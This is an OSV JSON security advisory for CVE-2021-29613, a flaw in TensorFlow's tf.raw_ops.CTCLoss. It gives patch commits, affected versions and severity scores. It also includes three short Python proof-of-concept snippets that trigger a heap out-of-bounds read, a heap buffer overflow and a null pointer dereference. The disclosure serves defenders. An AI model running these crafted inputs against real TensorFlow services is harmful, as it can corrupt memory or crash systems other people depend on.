原始 OSV JSON{
"id": "GHSA-vvg4-vgrv-xfr7",
"aliases": [
"CVE-2021-29613"
],
"details": "### Impact \nIncomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)\nlabels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)\nsequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)\n \ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n labels_values=labels_values, sequence_length=sequence_length,\n preprocess_collapse_repeated=True, ctc_merge_repeated=False,\n ignore_longer_outputs_than_inputs=True)\n``` \n \nAn attacker can also trigger a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)\nlabels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)\nlabels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n labels_values=labels_values, sequence_length=sequence_length,\n preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n ignore_longer_outputs_than_inputs=False)\n```\n\nFinally, an attacker can trigger a null pointer dereference:\n\n```python \nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)\nlabels_values = tf.constant([], shape=[0], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n labels_values=labels_values, sequence_length=sequence_length,\n preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n ignore_longer_outputs_than_inputs=False)\n```\n\n### Patches\nWe have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.",
"summary": "Incomplete validation in `tf.raw_ops.CTCLoss`",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
]
}
],
"package": {
"name": "tensorflow",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
]
}
],
"package": {
"name": "tensorflow",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
]
}
],
"package": {
"name": "tensorflow",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
]
}
],
"package": {
"name": "tensorflow",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
]
}
],
"package": {
"name": "tensorflow-cpu",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
]
}
],
"package": {
"name": "tensorflow-cpu",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
]
}
],
"package": {
"name": "tensorflow-cpu",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
]
}
],
"package": {
"name": "tensorflow-cpu",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
]
}
],
"package": {
"name": "tensorflow-gpu",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
]
}
],
"package": {
"name": "tensorflow-gpu",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
]
}
],
"package": {
"name": "tensorflow-gpu",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
]
}
],
"package": {
"name": "tensorflow-gpu",
"ecosystem": "PyPI"
}
}
],
"modified": "2024-11-13T16:25:42Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H"
},
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"
}
],
"published": "2021-05-21T14:28:39Z",
"references": [
{
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7",
"type": "WEB"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29613",
"type": "ADVISORY"
},
{
"url": "https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c",
"type": "WEB"
},
{
"url": "https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b",
"type": "WEB"
},
{
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-541.yaml",
"type": "WEB"
},
{
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-739.yaml",
"type": "WEB"
},
{
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-250.yaml",
"type": "WEB"
},
{
"url": "https://github.com/tensorflow/tensorflow",
"type": "PACKAGE"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-665"
],
"severity": "MODERATE",
"github_reviewed": true,
"nvd_published_at": "2021-05-14T20:15:00Z",
"github_reviewed_at": "2021-05-17T21:46:09Z"
}
}